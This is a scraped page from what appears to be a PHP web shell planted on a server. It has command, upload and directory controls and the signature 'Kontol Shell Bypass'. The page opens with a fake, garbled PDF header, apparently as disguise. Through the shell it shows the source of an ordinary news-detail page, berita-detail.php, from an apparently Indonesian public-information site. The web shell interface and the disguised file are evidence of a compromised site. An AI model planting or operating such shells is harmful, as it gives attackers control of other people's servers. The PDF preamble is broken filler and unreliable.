%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/new-ppid-app/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/new-ppid-app/berita-detail.php
<?php
/**
 * Halaman publik: detail Berita.
 */
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/queries.php';

$slug = get_param('slug');
$b = $slug !== '' ? get_berita_by_slug($slug) : null;

if (!$b || $b['status'] !== 'publish') {
    http_response_code(404);
    $pageTitle = t('Berita') . ' — 404';
    require __DIR__ . '/partials/head.php';
    require __DIR__ . '/partials/navbar.php';
    echo '<main class="max-w-3xl mx-auto px-4 py-24 text-center w-full">'
        . '<i class="fas fa-newspaper text-5xl text-slate-300 mb-4"></i>'
        . '<h1 class="text-2xl font-bold text-slate-800 mb-2">404</h1>'
        . '<p class="text-slate-500 mb-6">' . e(t('Belum ada berita yang dipublikasikan.')) . '</p>'
        . '<a href="' . e(url('berita.php')) . '" class="inline-flex items-center gap-2 bg-mateng-green text-white px-5 py-2.5 rounded-lg font-semibold"><i class="fas fa-arrow-left"></i> ' . e(t('Kembali ke Berita')) . '</a></main>';
    require __DIR__ . '/partials/footer.php';
    exit;
}

// Tambah penghitung dilihat.
db()->prepare('UPDATE berita SET views = views + 1 WHERE id = ?')->execute([$b['id']]);

// Foto galeri untuk slideshow (fallback ke sampul bila belum ada baris berita_foto).
$fst = db()->prepare('SELECT file FROM berita_foto WHERE berita_id = ? ORDER BY urutan ASC, id ASC');
$fst->execute([$b['id']]);
$fotos = [];
foreach ($fst->fetchAll(PDO::FETCH_COLUMN) as $ff) {
    if (is_file(UPLOAD_PATH . '/berita/' . $ff)) { $fotos[] = UPLOAD_URL . '/berita/' . $ff; }
}
if (!$fotos && !empty($b['gambar']) && is_file(UPLOAD_PATH . '/berita/' . $b['gambar'])) {
    $fotos[] = UPLOAD_URL . '/berita/' . $b['gambar'];
}

// URL absolut untuk tombol Bagikan.
$scheme   = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$shareUrl = $scheme . '://' . ($_SERVER['HTTP_HOST'] ?? '') . ($_SERVER['REQUEST_URI'] ?? '');
$shareTxt = $b['judul'];

// Berita lain (selain ini).
$lain = db()->prepare(
    "SELECT judul, slug, COALESCE(published_at, created_at) AS tanggal FROM berita
     WHERE status = 'publish' AND id <> ? ORDER BY COALESCE(published_at, created_at) DESC LIMIT 4"
);
$lain->execute([$b['id']]);
$beritaLain = $lain->fetchAll();

$pageTitle = $b['judul'] . ' — ' . APP_NAME_SHORT;
$activeNav = 'berita';
require __DIR__ . '/partials/head.php';
require __DIR__ . '/partials/navbar.php';
?>

<?php require __DIR__ . '/partials/berita-konten-style.php'; ?>
<main class="max-w-4xl mx-auto px-4 sm:px-6 lg:px-8 py-10 w-full">
    <nav class="text-sm text-slate-500 mb-6">
        <a href="<?= e(url('index.php')) ?>" class="hover:text-mateng-green"><?= e(t('Beranda')) ?></a><span class="mx-2">/</span>
        <a href="<?= e(url('berita.php')) ?>" class="hover:text-mateng-green"><?= e(t('Berita')) ?></a><span class="mx-2">/</span>
        <span class="text-slate-700">Detail</span>
    </nav>

    <article class="bg-white rounded-2xl border border-slate-100 shadow-sm overflow-hidden">
        <?php if ($fotos): ?>
            <div id="beritaSlider" class="relative bg-slate-900 select-none" data-total="<?= count($fotos) ?>">
                <div class="overflow-hidden">
                    <div id="beritaTrack" class="flex transition-transform duration-500 ease-out">
                        <?php foreach ($fotos as $src): ?>
                            <img src="<?= e($src) ?>" alt="<?= e($b['judul']) ?>" class="w-full shrink-0 h-[280px] sm:h-[420px] object-cover">
                        <?php endforeach; ?>
                    </div>
                </div>
                <?php if (count($fotos) > 1): ?>
                    <button type="button" data-dir="-1" class="slider-nav absolute left-3 top-1/2 -translate-y-1/2 w-10 h-10 rounded-full bg-white/85 hover:bg-white text-slate-800 shadow-lg flex items-center justify-center" aria-label="Sebelumnya"><i class="fas fa-chevron-left"></i></button>
                    <button type="button" data-dir="1" class="slider-nav absolute right-3 top-1/2 -translate-y-1/2 w-10 h-10 rounded-full bg-white/85 hover:bg-white text-slate-800 shadow-lg flex items-center justify-center" aria-label="Berikutnya"><i class="fas fa-chevron-right"></i></button>
                    <span class="absolute top-3 right-3 bg-black/50 text-white text-xs px-2.5 py-1 rounded-full"><span id="beritaCounter">1</span>/<?= count($fotos) ?></span>
                    <div class="absolute bottom-3 inset-x-0 flex justify-center gap-2">
                        <?php foreach ($fotos as $k => $src): ?>
                            <button type="button" data-idx="<?= $k ?>" class="slider-dot h-2.5 rounded-full bg-white/60 transition-all" aria-label="Foto <?= $k + 1 ?>"></button>
                        <?php endforeach; ?>
                    </div>
                <?php endif; ?>
            </div>
        <?php endif; ?>
        <div class="p-6 sm:p-10">
            <h1 class="text-2xl md:text-3xl font-bold text-slate-900 leading-snug mb-4"><?= e($b['judul']) ?></h1>
            <div class="flex flex-wrap items-center gap-4 text-sm text-slate-500 mb-6 pb-6 border-b border-slate-100">
                <span><i class="far fa-calendar mr-1.5"></i><?= e(tanggal_id($b['tanggal'], true)) ?></span>
                <?php if (!empty($b['penulis'])): ?><span><i class="far fa-user mr-1.5"></i><?= e($b['penulis']) ?></span><?php endif; ?>
                <span><i class="far fa-eye mr-1.5"></i><?= (int) $b['views'] ?> <?= e(t('kali dilihat')) ?></span>

                <div class="flex items-center gap-1.5 w-full sm:w-auto sm:ml-auto">
                    <span class="text-xs text-slate-400 mr-0.5">Bagikan:</span>
                    <a href="https://wa.me/?text=<?= rawurlencode($shareTxt . ' — ' . $shareUrl) ?>" target="_blank" rel="noopener" aria-label="Bagikan ke WhatsApp" class="w-8 h-8 rounded-full bg-slate-100 hover:bg-green-500 hover:text-white text-slate-500 flex items-center justify-center transition-colors"><i class="fab fa-whatsapp"></i></a>
                    <a href="https://www.facebook.com/sharer/sharer.php?u=<?= rawurlencode($shareUrl) ?>" target="_blank" rel="noopener" aria-label="Bagikan ke Facebook" class="w-8 h-8 rounded-full bg-slate-100 hover:bg-blue-600 hover:text-white text-slate-500 flex items-center justify-center transition-colors"><i class="fab fa-facebook-f"></i></a>
                    <a href="https://twitter.com/intent/tweet?url=<?= rawurlencode($shareUrl) ?>&text=<?= rawurlencode($shareTxt) ?>" target="_blank" rel="noopener" aria-label="Bagikan ke X" class="w-8 h-8 rounded-full bg-slate-100 hover:bg-slate-900 hover:text-white text-slate-500 flex items-center justify-center transition-colors"><i class="fab fa-x-twitter"></i></a>
                    <a href="https://t.me/share/url?url=<?= rawurlencode($shareUrl) ?>&text=<?= rawurlencode($shareTxt) ?>" target="_blank" rel="noopener" aria-label="Bagikan ke Telegram" class="w-8 h-8 rounded-full bg-slate-100 hover:bg-sky-500 hover:text-white text-slate-500 flex items-center justify-center transition-colors"><i class="fab fa-telegram"></i></a>
                    <button type="button" onclick="salinTautanBerita(this)" data-url="<?= e($shareUrl) ?>" aria-label="Salin tautan" class="w-8 h-8 rounded-full bg-slate-100 hover:bg-mateng-green hover:text-white text-slate-500 flex items-center justify-center transition-colors"><i class="fas fa-link"></i></button>
                </div>
            </div>
            <?php if (!empty($b['ringkasan'])): ?>
                <p class="text-lg text-slate-600 font-medium leading-relaxed mb-6"><?= e($b['ringkasan']) ?></p>
            <?php endif; ?>
            <div class="berita-konten max-w-none text-slate-700 leading-relaxed">
                <?php
                $konten = (string) $b['konten'];
                if (preg_match('/<[a-z][\s\S]*>/i', $konten)) {
                    echo sanitize_html($konten);
                } else {
                    foreach (preg_split('/\n\s*\n/', trim($konten)) as $par) {
                        echo '<p>' . nl2br(e($par)) . '</p>';
                    }
                }
                ?>
            </div>
        </div>
    </article>

    <?php if (!empty($beritaLain)): ?>
        <div class="mt-10">
            <h2 class="font-bold text-slate-800 mb-4"><?= e(t('Berita Lainnya')) ?></h2>
            <div class="grid grid-cols-1 sm:grid-cols-2 gap-4">
                <?php foreach ($beritaLain as $bl): ?>
                    <a href="<?= e(url('berita-detail.php?slug=' . urlencode($bl['slug']))) ?>" class="flex items-center gap-3 bg-white border border-slate-100 rounded-xl p-4 hover:border-mateng-green/40 hover:shadow-sm transition-all">
                        <div class="w-10 h-10 rounded-lg bg-mateng-green/10 text-mateng-green flex items-center justify-center shrink-0"><i class="fas fa-newspaper"></i></div>
                        <div class="min-w-0">
                            <p class="font-semibold text-slate-800 text-sm truncate"><?= e($bl['judul']) ?></p>
                            <p class="text-xs text-slate-400"><?= e(tanggal_id($bl['tanggal'])) ?></p>
                        </div>
                    </a>
                <?php endforeach; ?>
            </div>
        </div>
    <?php endif; ?>

    <div class="mt-8">
        <a href="<?= e(url('berita.php')) ?>" class="inline-flex items-center gap-2 text-mateng-green font-semibold hover:underline"><i class="fas fa-arrow-left"></i> <?= e(t('Kembali ke Berita')) ?></a>
    </div>
</main>

<script>
    // Slideshow foto berita
    (function () {
        var slider = document.getElementById('beritaSlider');
        var track  = document.getElementById('beritaTrack');
        if (!slider || !track) return;
        var total = parseInt(slider.getAttribute('data-total') || '1', 10);
        if (total < 2) return;
        var idx = 0;
        var dots = slider.querySelectorAll('.slider-dot');
        var counter = document.getElementById('beritaCounter');
        function go(n) {
            idx = (n + total) % total;
            track.style.transform = 'translateX(-' + (idx * 100) + '%)';
            dots.forEach(function (d, i) { d.className = 'slider-dot h-2.5 rounded-full transition-all ' + (i === idx ? 'bg-white w-5' : 'bg-white/60 w-2.5'); });
            if (counter) counter.textContent = (idx + 1);
        }
        slider.querySelectorAll('.slider-nav').forEach(function (b) {
            b.addEventListener('click', function () { go(idx + parseInt(b.getAttribute('data-dir'), 10)); });
        });
        dots.forEach(function (d) { d.addEventListener('click', function () { go(parseInt(d.getAttribute('data-idx'), 10)); }); });
        go(0);
        var timer = setInterval(function () { go(idx + 1); }, 6000);
        slider.addEventListener('mouseenter', function () { clearInterval(timer); });
    })();

    // Salin tautan berita
    function salinTautanBerita(btn) {
        var url = btn.getAttribute('data-url');
        var done = function () {
            var i = btn.querySelector('i'); if (!i) return;
            var old = i.className; i.className = 'fas fa-check';
            setTimeout(function () { i.className = old; }, 1500);
        };
        if (navigator.clipboard && navigator.clipboard.writeText) {
            navigator.clipboard.writeText(url).then(done, function () { window.prompt('Salin tautan:', url); });
        } else {
            window.prompt('Salin tautan:', url);
        }
    }
</script>

<?php require __DIR__ . '/partials/footer.php'; ?>

Kontol Shell Bypass